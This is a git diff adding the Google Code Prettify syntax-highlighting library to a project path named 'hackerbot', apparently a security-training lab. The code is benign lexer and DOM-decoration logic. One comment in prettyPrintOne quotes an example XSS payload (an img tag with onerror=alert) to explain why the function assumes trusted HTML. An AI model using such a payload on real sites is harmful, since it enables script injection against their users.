+      fallthroughStylePatterns.push([PR_TYPE, types]);
+    }
+
+    var keywords = ("" + options['keywords']).replace(/^ | $/g, '');
+    if (keywords.length) {
+      fallthroughStylePatterns.push(
+          [PR_KEYWORD,
+           new RegExp('^(?:' + keywords.replace(/[\s,]+/g, '|') + ')\\b'),
+           null]);
+    }
+
+    shortcutStylePatterns.push([PR_PLAIN,       /^\s+/, null, ' \r\n\t\xA0']);
+
+    var punctuation =
+      // The Bash man page says
+
+      // A word is a sequence of characters considered as a single
+      // unit by GRUB. Words are separated by metacharacters,
+      // which are the following plus space, tab, and newline: { }
+      // | & $ ; < >
+      // ...
+
+      // A word beginning with # causes that word and all remaining
+      // characters on that line to be ignored.
+
+      // which means that only a '#' after /(?:^|[{}|&$;<>\s])/ starts a
+      // comment but empirically
+      // $ echo {#}
+      // {#}
+      // $ echo \$#
+      // $#
+      // $ echo }#
+      // }#
+
+      // so /(?:^|[|&;<>\s])/ is more appropriate.
+
+      // http://gcc.gnu.org/onlinedocs/gcc-2.95.3/cpp_1.html#SEC3
+      // suggests that this definition is compatible with a
+      // default mode that tries to use a single token definition
+      // to recognize both bash/python style comments and C
+      // preprocessor directives.
+
+      // This definition of punctuation does not include # in the list of
+      // follow-on exclusions, so # will not be broken before if preceeded
+      // by a punctuation character.  We could try to exclude # after
+      // [|&;<>] but that doesn't seem to cause many major problems.
+      // If that does turn out to be a problem, we should change the below
+      // when hc is truthy to include # in the run of punctuation characters
+      // only when not followint [|&;<>].
+      '^.[^\\s\\w.$@\'"`/\\\\]*';
+    if (options['regexLiterals']) {
+      punctuation += '(?!\s*\/)';
+    }
+
+    fallthroughStylePatterns.push(
+        // TODO(mikesamuel): recognize non-latin letters and numerals in idents
+        [PR_LITERAL,     /^@[a-z_$][a-z_$@0-9]*/i, null],
+        [PR_TYPE,        /^(?:[@_]?[A-Z]+[a-z][A-Za-z_$@0-9]*|\w+_t\b)/, null],
+        [PR_PLAIN,       /^[a-z_$][a-z_$@0-9]*/i, null],
+        [PR_LITERAL,
+         new RegExp(
+             '^(?:'
+             // A hex number
+             + '0x[a-f0-9]+'
+             // or an octal or decimal number,
+             + '|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)'
+             // possibly in scientific notation
+             + '(?:e[+\\-]?\\d+)?'
+             + ')'
+             // with an optional modifier like UL for unsigned long
+             + '[a-z]*', 'i'),
+         null, '0123456789'],
+        // Don't treat escaped quotes in bash as starting strings.
+        // See issue 144.
+        [PR_PLAIN,       /^\\[\s\S]?/, null],
+        [PR_PUNCTUATION, new RegExp(punctuation), null]);
+
+    return createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns);
+  }
+
+  var decorateSource = sourceDecorator({
+        'keywords': ALL_KEYWORDS,
+        'hashComments': true,
+        'cStyleComments': true,
+        'multiLineStrings': true,
+        'regexLiterals': true
+      });
+
+  /* @include numberLines.js */
+
+  /* @include recombineTagsAndDecorations.js */
+
+  /** Maps language-specific file extensions to handlers. */
+  var langHandlerRegistry = {};
+  /** Register a language handler for the given file extensions.
+    * @param {function (JobT)} handler a function from source code to a list
+    *      of decorations.  Takes a single argument job which describes the
+    *      state of the computation and attaches the decorations to it.
+    * @param {Array.<string>} fileExtensions
+    */
+  function registerLangHandler(handler, fileExtensions) {
+    for (var i = fileExtensions.length; --i >= 0;) {
+      var ext = fileExtensions[i];
+      if (!langHandlerRegistry.hasOwnProperty(ext)) {
+        langHandlerRegistry[ext] = handler;
+      } else if (win['console']) {
+        console['warn']('cannot override language handler %s', ext);
+      }
+    }
+  }
+  function langHandlerForExtension(extension, source) {
+    if (!(extension && langHandlerRegistry.hasOwnProperty(extension))) {
+      // Treat it as markup if the first non whitespace character is a < and
+      // the last non-whitespace character is a >.
+      extension = /^\s*</.test(source)
+          ? 'default-markup'
+          : 'default-code';
+    }
+    return langHandlerRegistry[extension];
+  }
+  registerLangHandler(decorateSource, ['default-code']);
+  registerLangHandler(
+      createSimpleLexer(
+          [],
+          [
+           [PR_PLAIN,       /^[^<?]+/],
+           [PR_DECLARATION, /^<!\w[^>]*(?:>|$)/],
+           [PR_COMMENT,     /^<\!--[\s\S]*?(?:-\->|$)/],
+           // Unescaped content in an unknown language
+           ['lang-',        /^<\?([\s\S]+?)(?:\?>|$)/],
+           ['lang-',        /^<%([\s\S]+?)(?:%>|$)/],
+           [PR_PUNCTUATION, /^(?:<[%?]|[%?]>)/],
+           ['lang-',        /^<xmp\b[^>]*>([\s\S]+?)<\/xmp\b[^>]*>/i],
+           // Unescaped content in javascript.  (Or possibly vbscript).
+           ['lang-js',      /^<script\b[^>]*>([\s\S]*?)(<\/script\b[^>]*>)/i],
+           // Contains unescaped stylesheet content
+           ['lang-css',     /^<style\b[^>]*>([\s\S]*?)(<\/style\b[^>]*>)/i],
+           ['lang-in.tag',  /^(<\/?[a-z][^<>]*>)/i]
+          ]),
+      ['default-markup', 'htm', 'html', 'mxml', 'xhtml', 'xml', 'xsl']);
+  registerLangHandler(
+      createSimpleLexer(
+          [
+           [PR_PLAIN,        /^[\s]+/, null, ' \t\r\n'],
+           [PR_ATTRIB_VALUE, /^(?:\"[^\"]*\"?|\'[^\']*\'?)/, null, '\"\'']
+           ],
+          [
+           [PR_TAG,          /^^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i],
+           [PR_ATTRIB_NAME,  /^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],
+           ['lang-uq.val',   /^=\s*([^>\'\"\s]*(?:[^>\'\"\s\/]|\/(?=\s)))/],
+           [PR_PUNCTUATION,  /^[=<>\/]+/],
+           ['lang-js',       /^on\w+\s*=\s*\"([^\"]+)\"/i],
+           ['lang-js',       /^on\w+\s*=\s*\'([^\']+)\'/i],
+           ['lang-js',       /^on\w+\s*=\s*([^\"\'>\s]+)/i],
+           ['lang-css',      /^style\s*=\s*\"([^\"]+)\"/i],
+           ['lang-css',      /^style\s*=\s*\'([^\']+)\'/i],
+           ['lang-css',      /^style\s*=\s*([^\"\'>\s]+)/i]
+           ]),
+      ['in.tag']);
+  registerLangHandler(
+      createSimpleLexer([], [[PR_ATTRIB_VALUE, /^[\s\S]+/]]), ['uq.val']);
+  registerLangHandler(sourceDecorator({
+          'keywords': CPP_KEYWORDS,
+          'hashComments': true,
+          'cStyleComments': true,
+          'types': C_TYPES
+        }), ['c', 'cc', 'cpp', 'cxx', 'cyc', 'm']);
+  registerLangHandler(sourceDecorator({
+          'keywords': 'null,true,false'
+        }), ['json']);
+  registerLangHandler(sourceDecorator({
+          'keywords': CSHARP_KEYWORDS,
+          'hashComments': true,
+          'cStyleComments': true,
+          'verbatimStrings': true,
+          'types': C_TYPES
+        }), ['cs']);
+  registerLangHandler(sourceDecorator({
+          'keywords': JAVA_KEYWORDS,
+          'cStyleComments': true
+        }), ['java']);
+  registerLangHandler(sourceDecorator({
+          'keywords': SH_KEYWORDS,
+          'hashComments': true,
+          'multiLineStrings': true
+        }), ['bash', 'bsh', 'csh', 'sh']);
+  registerLangHandler(sourceDecorator({
+          'keywords': PYTHON_KEYWORDS,
+          'hashComments': true,
+          'multiLineStrings': true,
+          'tripleQuotedStrings': true
+        }), ['cv', 'py', 'python']);
+  registerLangHandler(sourceDecorator({
+          'keywords': PERL_KEYWORDS,
+          'hashComments': true,
+          'multiLineStrings': true,
+          'regexLiterals': 2  // multiline regex literals
+        }), ['perl', 'pl', 'pm']);
+  registerLangHandler(sourceDecorator({
+          'keywords': RUBY_KEYWORDS,
+          'hashComments': true,
+          'multiLineStrings': true,
+          'regexLiterals': true
+        }), ['rb', 'ruby']);
+  registerLangHandler(sourceDecorator({
+          'keywords': JSCRIPT_KEYWORDS,
+          'cStyleComments': true,
+          'regexLiterals': true
+        }), ['javascript', 'js', 'ts', 'typescript']);
+  registerLangHandler(sourceDecorator({
+          'keywords': COFFEE_KEYWORDS,
+          'hashComments': 3,  // ### style block comments
+          'cStyleComments': true,
+          'multilineStrings': true,
+          'tripleQuotedStrings': true,
+          'regexLiterals': true
+        }), ['coffee']);
+  registerLangHandler(
+      createSimpleLexer([], [[PR_STRING, /^[\s\S]+/]]), ['regex']);
+
+  /** @param {JobT} job */
+  function applyDecorator(job) {
+    var opt_langExtension = job.langExtension;
+
+    try {
+      // Extract tags, and convert the source code to plain text.
+      var sourceAndSpans = extractSourceSpans(job.sourceNode, job.pre);
+      /** Plain text. @type {string} */
+      var source = sourceAndSpans.sourceCode;
+      job.sourceCode = source;
+      job.spans = sourceAndSpans.spans;
+      job.basePos = 0;
+
+      // Apply the appropriate language handler
+      langHandlerForExtension(opt_langExtension, source)(job);
+
+      // Integrate the decorations and tags back into the source code,
+      // modifying the sourceNode in place.
+      recombineTagsAndDecorations(job);
+    } catch (e) {
+      if (win['console']) {
+        console['log'](e && e['stack'] || e);
+      }
+    }
+  }
+
+  /**
+   * Pretty print a chunk of code.
+   * @param sourceCodeHtml {string} The HTML to pretty print.
+   * @param opt_langExtension {string} The language name to use.
+   *     Typically, a filename extension like 'cpp' or 'java'.
+   * @param opt_numberLines {number|boolean} True to number lines,
+   *     or the 1-indexed number of the first line in sourceCodeHtml.
+   */
+  function $prettyPrintOne(sourceCodeHtml, opt_langExtension, opt_numberLines) {
+    /** @type{number|boolean} */
+    var nl = opt_numberLines || false;
+    /** @type{string|null} */
+    var langExtension = opt_langExtension || null;
+    /** @type{!Element} */
+    var container = document.createElement('div');
+    // This could cause images to load and onload listeners to fire.
+    // E.g. <img onerror="alert(1337)" src="nosuchimage.png">.
+    // We assume that the inner HTML is from a trusted source.
+    // The pre-tag is required for IE8 which strips newlines from innerHTML
+    // when it is injected into a <pre> tag.
+    // http://stackoverflow.com/questions/451486/pre-tag-loses-line-breaks-when-setting-innerhtml-in-ie
+    // http://stackoverflow.com/questions/195363/inserting-a-newline-into-a-pre-tag-ie-javascript
+    container.innerHTML = '<pre>' + sourceCodeHtml + '</pre>';
+    container = /** @type{!Element} */(container.firstChild);
+    if (nl) {
+      numberLines(container, nl, true);
+    }
+
+    /** @type{JobT} */
+    var job = {
+      langExtension: langExtension,
+      numberLines: nl,
+      sourceNode: container,
+      pre: 1,
+      sourceCode: null,
+      basePos: null,
+      spans: null,
+      decorations: null
+    };
+    applyDecorator(job);
+    return container.innerHTML;
+  }
+
+   /**
+    * Find all the {@code <pre>} and {@code <code>} tags in the DOM with
+    * {@code class=prettyprint} and prettify them.
+    *
+    * @param {Function} opt_whenDone called when prettifying is done.
+    * @param {HTMLElement|HTMLDocument} opt_root an element or document
+    *   containing all the elements to pretty print.
+    *   Defaults to {@code document.body}.
+    */
+  function $prettyPrint(opt_whenDone, opt_root) {
+    var root = opt_root || document.body;
+    var doc = root.ownerDocument || document;
+    function byTagName(tn) { return root.getElementsByTagName(tn); }
+    // fetch a list of nodes to rewrite
+    var codeSegments = [byTagName('pre'), byTagName('code'), byTagName('xmp')];
+    var elements = [];
+    for (var i = 0; i < codeSegments.length; ++i) {
+      for (var j = 0, n = codeSegments[i].length; j < n; ++j) {
+        elements.push(codeSegments[i][j]);
+      }
+    }
+    codeSegments = null;
+
+    var clock = Date;
+    if (!clock['now']) {
+      clock = { 'now': function () { return +(new Date); } };
+    }
+
+    // The loop is broken into a series of continuations to make sure that we
+    // don't make the browser unresponsive when rewriting a large page.
+    var k = 0;
+
+    var langExtensionRe = /\blang(?:uage)?-([\w.]+)(?!\S)/;
+    var prettyPrintRe = /\bprettyprint\b/;
+    var prettyPrintedRe = /\bprettyprinted\b/;
+    var preformattedTagNameRe = /pre|xmp/i;
+    var codeRe = /^code$/i;
+    var preCodeXmpRe = /^(?:pre|code|xmp)$/i;
+    var EMPTY = {};
+
+    function doWork() {
+      var endTime = (win['PR_SHOULD_USE_CONTINUATION'] ?
+                     clock['now']() + 250 /* ms */ :
+                     Infinity);
+      for (; k < elements.length && clock['now']() < endTime; k++) {
+        var cs = elements[k];
+
+        // Look for a preceding comment like
+        // <?prettify lang="..." linenums="..."?>
+        var attrs = EMPTY;
+        {
+          for (var preceder = cs; (preceder = preceder.previousSibling);) {
+            var nt = preceder.nodeType;
+            // <?foo?> is parsed by HTML 5 to a comment node (8)
+            // like <!--?foo?-->, but in XML is a processing instruction
+            var value = (nt === 7 || nt === 8) && preceder.nodeValue;
+            if (value
+                ? !/^\??prettify\b/.test(value)
+                : (nt !== 3 || /\S/.test(preceder.nodeValue))) {
+              // Skip over white-space text nodes but not others.
+              break;
+            }
+            if (value) {
+              attrs = {};
+              value.replace(
+                  /\b(\w+)=([\w:.%+-]+)/g,
+                function (_, name, value) { attrs[name] = value; });
+              break;
+            }
+          }
+        }
+
+        var className = cs.className;
+        if ((attrs !== EMPTY || prettyPrintRe.test(className))
+            // Don't redo this if we've already done it.
+            // This allows recalling pretty print to just prettyprint elements
+            // that have been added to the page since last call.
+            && !prettyPrintedRe.test(className)) {
+
+          // make sure this is not nested in an already prettified element
+          var nested = false;
+          for (var p = cs.parentNode; p; p = p.parentNode) {
+            var tn = p.tagName;
+            if (preCodeXmpRe.test(tn)
+                && p.className && prettyPrintRe.test(p.className)) {
+              nested = true;
+              break;
+            }
+          }
+          if (!nested) {
+            // Mark done.  If we fail to prettyprint for whatever reason,
+            // we shouldn't try again.
+            cs.className += ' prettyprinted';
+
+            // If the classes includes a language extensions, use it.
+            // Language extensions can be specified like
+            //     <pre class="prettyprint lang-cpp">
+            // the language extension "cpp" is used to find a language handler
+            // as passed to PR.registerLangHandler.
+            // HTML5 recommends that a language be specified using "language-"
+            // as the prefix instead.  Google Code Prettify supports both.
+            // http://dev.w3.org/html5/spec-author-view/the-code-element.html
+            var langExtension = attrs['lang'];
+            if (!langExtension) {
+              langExtension = className.match(langExtensionRe);
+              // Support <pre class="prettyprint"><code class="language-c">
+              var wrapper;
+              if (!langExtension && (wrapper = childContentWrapper(cs))
+                  && codeRe.test(wrapper.tagName)) {
+                langExtension = wrapper.className.match(langExtensionRe);
+              }
+
+              if (langExtension) { langExtension = langExtension[1]; }
+            }
+
+            var preformatted;
+            if (preformattedTagNameRe.test(cs.tagName)) {
+              preformatted = 1;
+            } else {
+              var currentStyle = cs['currentStyle'];
+              var defaultView = doc.defaultView;
+              var whitespace = (
+                  currentStyle
+                  ? currentStyle['whiteSpace']
+                  : (defaultView
+                     && defaultView.getComputedStyle)
+                  ? defaultView.getComputedStyle(cs, null)
+                  .getPropertyValue('white-space')
+                  : 0);
+              preformatted = whitespace
+                  && 'pre' === whitespace.substring(0, 3);
+            }
+
+            // Look for a class like linenums or linenums:<n> where <n> is the
+            // 1-indexed number of the first line.
+            var lineNums = attrs['linenums'];
+            if (!(lineNums = lineNums === 'true' || +lineNums)) {
+              lineNums = className.match(/\blinenums\b(?::(\d+))?/);
+              lineNums =
+                lineNums
+                ? lineNums[1] && lineNums[1].length
+                  ? +lineNums[1] : true
+                : false;
+            }
+            if (lineNums) { numberLines(cs, lineNums, preformatted); }
+
+            // do the pretty printing
+            var prettyPrintingJob = {
+              langExtension: langExtension,
+              sourceNode: cs,
+              numberLines: lineNums,
+              pre: preformatted,
+              sourceCode: null,
+              basePos: null,
+              spans: null,
+              decorations: null
+            };
+            applyDecorator(prettyPrintingJob);
+          }
+        }
+      }
+      if (k < elements.length) {
+        // finish up in a continuation
+        win.setTimeout(doWork, 250);
+      } else if ('function' === typeof opt_whenDone) {
+        opt_whenDone();
+      }
+    }
+
+    doWork();
+  }
+
+  /**
+   * Contains functions for creating and registering new language handlers.
+   * @type {Object}
+   */
+  var PR = win['PR'] = {
+        'createSimpleLexer': createSimpleLexer,
+        'registerLangHandler': registerLangHandler,
+        'sourceDecorator': sourceDecorator,
+        'PR_ATTRIB_NAME': PR_ATTRIB_NAME,
+        'PR_ATTRIB_VALUE': PR_ATTRIB_VALUE,
+        'PR_COMMENT': PR_COMMENT,
+        'PR_DECLARATION': PR_DECLARATION,
+        'PR_KEYWORD': PR_KEYWORD,
+        'PR_LITERAL': PR_LITERAL,
+        'PR_NOCODE': PR_NOCODE,
+        'PR_PLAIN': PR_PLAIN,
+        'PR_PUNCTUATION': PR_PUNCTUATION,
+        'PR_SOURCE': PR_SOURCE,
+        'PR_STRING': PR_STRING,
+        'PR_TAG': PR_TAG,
+        'PR_TYPE': PR_TYPE,
+        'prettyPrintOne':
+           IN_GLOBAL_SCOPE
+             ? (win['prettyPrintOne'] = $prettyPrintOne)
+             : (prettyPrintOne = $prettyPrintOne),
+        'prettyPrint': prettyPrint =
+           IN_GLOBAL_SCOPE
+             ? (win['prettyPrint'] = $prettyPrint)
+             : (prettyPrint = $prettyPrint)
+      };
+
+  // Make PR available via the Asynchronous Module Definition (AMD) API.
+  // Per https://github.com/amdjs/amdjs-api/wiki/AMD:
+  // The Asynchronous Module Definition (AMD) API specifies a
+  // mechanism for defining modules such that the module and its
+  // dependencies can be asynchronously loaded.
+  // ...
+  // To allow a clear indicator that a global define function (as
+  // needed for script src browser loading) conforms to the AMD API,
+  // any global define function SHOULD have a property called "amd"
+  // whose value is an object. This helps avoid conflict with any
+  // other existing JavaScript code that could have defined a define()
+  // function that does not conform to the AMD API.
+  var define = win['define'];
+  if (typeof define === "function" && define['amd']) {
+    define("google-code-prettify", [], function () {
+      return PR;
+    });
+  }
+})();
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/recombineTagsAndDecorations.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/recombineTagsAndDecorations.js
new file mode 100644
index 000000000..69b1a8f05
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/recombineTagsAndDecorations.js
@@ -0,0 +1,116 @@
+/**
+ * Breaks {@code job.sourceCode} around style boundaries in
+ * {@code job.decorations} and modifies {@code job.sourceNode} in place.
+ * @param {JobT} job
+ * @private
+ */
+function recombineTagsAndDecorations(job) {
+  var isIE8OrEarlier = /\bMSIE\s(\d+)/.exec(navigator.userAgent);
+  isIE8OrEarlier = isIE8OrEarlier && +isIE8OrEarlier[1] <= 8;
+  var newlineRe = /\n/g;
+
+  var source = job.sourceCode;
+  var sourceLength = source.length;
+  // Index into source after the last code-unit recombined.
+  var sourceIndex = 0;
+
+  var spans = job.spans;
+  var nSpans = spans.length;
+  // Index into spans after the last span which ends at or before sourceIndex.
+  var spanIndex = 0;
+
+  var decorations = job.decorations;
+  var nDecorations = decorations.length;
+  // Index into decorations after the last decoration which ends at or before
+  // sourceIndex.
+  var decorationIndex = 0;
+
+  // Remove all zero-length decorations.
+  decorations[nDecorations] = sourceLength;
+  var decPos, i;
+  for (i = decPos = 0; i < nDecorations;) {
+    if (decorations[i] !== decorations[i + 2]) {
+      decorations[decPos++] = decorations[i++];
+      decorations[decPos++] = decorations[i++];
+    } else {
+      i += 2;
+    }
+  }
+  nDecorations = decPos;
+
+  // Simplify decorations.
+  for (i = decPos = 0; i < nDecorations;) {
+    var startPos = decorations[i];
+    // Conflate all adjacent decorations that use the same style.
+    var startDec = decorations[i + 1];
+    var end = i + 2;
+    while (end + 2 <= nDecorations && decorations[end + 1] === startDec) {
+      end += 2;
+    }
+    decorations[decPos++] = startPos;
+    decorations[decPos++] = startDec;
+    i = end;
+  }
+
+  nDecorations = decorations.length = decPos;
+
+  var sourceNode = job.sourceNode;
+  var oldDisplay = "";
+  if (sourceNode) {
+    oldDisplay = sourceNode.style.display;
+    sourceNode.style.display = 'none';
+  }
+  try {
+    var decoration = null;
+    while (spanIndex < nSpans) {
+      var spanStart = spans[spanIndex];
+      var spanEnd = /** @type{number} */ (spans[spanIndex + 2])
+          || sourceLength;
+
+      var decEnd = decorations[decorationIndex + 2] || sourceLength;
+
+      var end = Math.min(spanEnd, decEnd);
+
+      var textNode = /** @type{Node} */ (spans[spanIndex + 1]);
+      var styledText;
+      if (textNode.nodeType !== 1  // Don't muck with <BR>s or <LI>s
+          // Don't introduce spans around empty text nodes.
+          && (styledText = source.substring(sourceIndex, end))) {
+        // This may seem bizarre, and it is.  Emitting LF on IE causes the
+        // code to display with spaces instead of line breaks.
+        // Emitting Windows standard issue linebreaks (CRLF) causes a blank
+        // space to appear at the beginning of every line but the first.
+        // Emitting an old Mac OS 9 line separator makes everything spiffy.
+        if (isIE8OrEarlier) {
+          styledText = styledText.replace(newlineRe, '\r');
+        }
+        textNode.nodeValue = styledText;
+        var document = textNode.ownerDocument;
+        var span = document.createElement('span');
+        span.className = decorations[decorationIndex + 1];
+        var parentNode = textNode.parentNode;
+        parentNode.replaceChild(span, textNode);
+        span.appendChild(textNode);
+        if (sourceIndex < spanEnd) {  // Split off a text node.
+          spans[spanIndex + 1] = textNode
+              // TODO: Possibly optimize by using '' if there's no flicker.
+              = document.createTextNode(source.substring(end, spanEnd));
+          parentNode.insertBefore(textNode, span.nextSibling);
+        }
+      }
+
+      sourceIndex = end;
+
+      if (sourceIndex >= spanEnd) {
+        spanIndex += 2;
+      }
+      if (sourceIndex >= decEnd) {
+        decorationIndex += 2;
+      }
+    }
+  } finally {
+    if (sourceNode) {
+      sourceNode.style.display = oldDisplay;
+    }
+  }
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/regexpPrecederPatterns.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/regexpPrecederPatterns.js
new file mode 100644
index 000000000..65d3de533
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/regexpPrecederPatterns.js
@@ -0,0 +1,30 @@
+
+// Regex pattern below is automatically generated by regexpPrecederPatterns.pl
+// Do not modify, your changes will be erased.
+
+// CAVEAT: this does not properly handle the case where a regular
+// expression immediately follows another since a regular expression may
+// have flags for case-sensitivity and the like.  Having regexp tokens
+// adjacent is not valid in any language I'm aware of, so I'm punting.
+// TODO: maybe style special characters inside a regexp as punctuation.
+
+/**
+ * A set of tokens that can precede a regular expression literal in
+ * javascript
+ * http://web.archive.org/web/20070717142515/http://www.mozilla.org/js/language/js20/rationale/syntax.html
+ * has the full list, but I've removed ones that might be problematic when
+ * seen in languages that don't support regular expression literals.
+ *
+ * Specifically, I've removed any keywords that can't precede a regexp
+ * literal in a syntactically legal javascript program, and I've removed the
+ * "in" keyword since it's not a keyword in many languages, and might be used
+ * as a count of inches.
+ *
+ * The link above does not accurately describe EcmaScript rules since
+ * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works
+ * very well in practice.
+ *
+ * @private
+ * @const
+ */
+var REGEXP_PRECEDER_PATTERN = '(?:^^\\.?|[+-]|[!=]=?=?|\\#|%=?|&&?=?|\\(|\\*=?|[+\\-]=|->|\\/=?|::?|<<?=?|>>?>?=?|,|;|\\?|@|\\[|~|{|\\^\\^?=?|\\|\\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\s*';
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/regexpPrecederPatterns.pl b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/regexpPrecederPatterns.pl
new file mode 100644
index 000000000..0f1e1d596
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/regexpPrecederPatterns.pl
@@ -0,0 +1,68 @@
+use strict;
+
+print "
+// Regex pattern below is automatically generated by regexpPrecederPatterns.pl
+// Do not modify, your changes will be erased.
+
+// CAVEAT: this does not properly handle the case where a regular
+// expression immediately follows another since a regular expression may
+// have flags for case-sensitivity and the like.  Having regexp tokens
+// adjacent is not valid in any language I'm aware of, so I'm punting.
+// TODO: maybe style special characters inside a regexp as punctuation.
+
+/**
+ * A set of tokens that can precede a regular expression literal in
+ * javascript
+ * http://web.archive.org/web/20070717142515/http://www.mozilla.org/js/language/js20/rationale/syntax.html
+ * has the full list, but I've removed ones that might be problematic when
+ * seen in languages that don't support regular expression literals.
+ *
+ * Specifically, I've removed any keywords that can't precede a regexp
+ * literal in a syntactically legal javascript program, and I've removed the
+ * \"in\" keyword since it's not a keyword in many languages, and might be used
+ * as a count of inches.
+ *
+ * The link above does not accurately describe EcmaScript rules since
+ * it fails to distinguish between (a=++/b/i) and (a++/b/i) but it works
+ * very well in practice.
+ *
+ * \@private
+ * \@const
+ */
+var REGEXP_PRECEDER_PATTERN = ";
+
+my @preceders = (
+                 "[!=]=?=?",   # "!", "!=", "!==", "=", "==", "===",
+                 "\\#",
+                 "%=?",        # "%", "%=",
+                 "&&?=?",      # "&", "&&", "&&=", "&=",
+                 "\\(",
+                 "\\*=?",      # "*", "*=",
+                 "[+\\-]=",    # +=, -=.  + and - handled below.
+                 "->",
+                 "\\/=?",      # "/", "/=",
+                 "::?",        # ":", "::",
+                 "<<?=?",      # "<", "<<", "<<=", "<=",
+                 ">>?>?=?",    # ">", ">=", ">>", ">>=", ">>>", ">>>=",
+                 ",",
+                 ";",          # ";"
+                 "\\?",
+                 "@",
+                 "\\[",
+                 "~",          # handles =~ and !~
+                 "{",
+                 "\\^\\^?=?",  # "^", "^=", "^^", "^^=",
+                 "\\|\\|?=?",  # "|", "|=", "||", "||=",
+                 "break", "case", "continue", "delete",
+                 "do", "else", "finally", "instanceof",
+                 "return", "throw", "try", "typeof"
+                );
+# match at beginning, a dot that is not part of a number, or sign.
+my $pattern = "'(?:^^\\\\.?|[+-]";
+foreach my $preceder (@preceders) {
+  $preceder =~ s/\\/\\\\/g;
+  $pattern .= "|$preceder";
+}
+$pattern .= ")\\\\s*'";  # matches at end, and matches empty string
+
+print "$pattern;\n";
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/run_prettify.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/run_prettify.js
new file mode 100644
index 000000000..5fec41ad1
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/run_prettify.js
@@ -0,0 +1,261 @@
+/**
+ * @license
+ * Copyright (C) 2013 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * <div style="white-space: pre">
+ * Looks at query parameters to decide which language handlers and style-sheets
+ * to load.
+ *
+ * Query Parameter     Format           Effect                        Default
+ * +------------------+---------------+------------------------------+--------+
+ * | autorun=         | true | false  | If true then prettyPrint()   | "true" |
+ * |                  |               | is called on page load.      |        |
+ * +------------------+---------------+------------------------------+--------+
+ * | lang=            | language name | Loads the language handler   | Can    |
+ * |                  |               | named "lang-<NAME>.js".      | appear |
+ * |                  |               | See available handlers at    | many   |
+ * |                  |               | https://github.com/google/   | times. |
+ * |                  |               | code-prettify/tree/master/   |        |
+ * |                  |               | src                          |        |
+ * +------------------+---------------+------------------------------+--------+
+ * | skin=            | skin name     | Loads the skin stylesheet    | none.  |
+ * |                  |               | named "<NAME>.css".          |        |
+ * |                  |               | https://cdn.rawgit.com/      |        |
+ * |                  |               | google/code-prettify/master/ |        |
+ * |                  |               | styles/index.html            |        |
+ * +------------------+---------------+------------------------------+--------+
+ * | callback=        | JS identifier | When "prettyPrint" finishes  | none   |
+ * |                  |               | window.exports[js_ident] is  |        |
+ * |                  |               | called.                      |        |
+ * |                  |               | The callback must be under   |        |
+ * |                  |               | exports to reduce the risk   |        |
+ * |                  |               | of XSS via query parameter   |        |
+ * |                  |               | injection.                   |        |
+ * +------------------+---------------+------------------------------+--------+
+ *
+ * Examples
+ * .../run_prettify.js?lang=css&skin=sunburst
+ *   1. Loads the CSS language handler which can be used to prettify CSS
+ *      stylesheets, HTML <style> element bodies and style="..." attributes
+ *      values.
+ *   2. Loads the sunburst.css stylesheet instead of the default prettify.css
+ *      stylesheet.
+ *      A gallery of stylesheets is available at
+ *      https://cdn.rawgit.com/google/code-prettify/master/styles/index.html
+ *   3. Since autorun=false is not specified, calls prettyPrint() on page load.
+ * </div>
+ */
+
+/* @ifdef RUN_PRETTIFY */
+/* @include defs.js */
+/* @endif */
+
+(function () {
+  "use strict";
+
+  var win = window;
+  var doc = document;
+  var root = doc.documentElement;
+  var head = doc['head'] || doc.getElementsByTagName("head")[0] || root;
+
+  // From http://javascript.nwbox.com/ContentLoaded/contentloaded.js
+  // Author: Diego Perini (diego.perini at gmail.com)
+  // Summary: cross-browser wrapper for DOMContentLoaded
+  // Updated: 20101020
+  // License: MIT
+  // Version: 1.2
+  function contentLoaded(callback) {
+    var addEventListener = doc['addEventListener'];
+    var done = false, top = true,
+        add = addEventListener ? 'addEventListener' : 'attachEvent',
+        rem = addEventListener ? 'removeEventListener' : 'detachEvent',
+        pre = addEventListener ? '' : 'on',
+
+        init = function(e) {
+          if (e.type == 'readystatechange' && doc.readyState != 'complete') {
+            return;
+          }
+          (e.type == 'load' ? win : doc)[rem](pre + e.type, init, false);
+          if (!done && (done = true)) { callback.call(win, e.type || e); }
+        },
+
+        poll = function() {
+          try {
+            root.doScroll('left');
+          } catch(e) {
+            win.setTimeout(poll, 50);
+            return;
+          }
+          init('poll');
+        };
+
+    if (doc.readyState == 'complete') {
+      callback.call(win, 'lazy');
+    } else {
+      if (doc.createEventObject && root.doScroll) {
+        try { top = !win.frameElement; } catch(e) { }
+        if (top) { poll(); }
+      }
+      doc[add](pre + 'DOMContentLoaded', init, false);
+      doc[add](pre + 'readystatechange', init, false);
+      win[add](pre + 'load', init, false);
+    }
+  }
+
+  // Given a list of URLs to stylesheets, loads the first that loads without
+  // triggering an error event.
+  function loadStylesheetsFallingBack(stylesheets) {
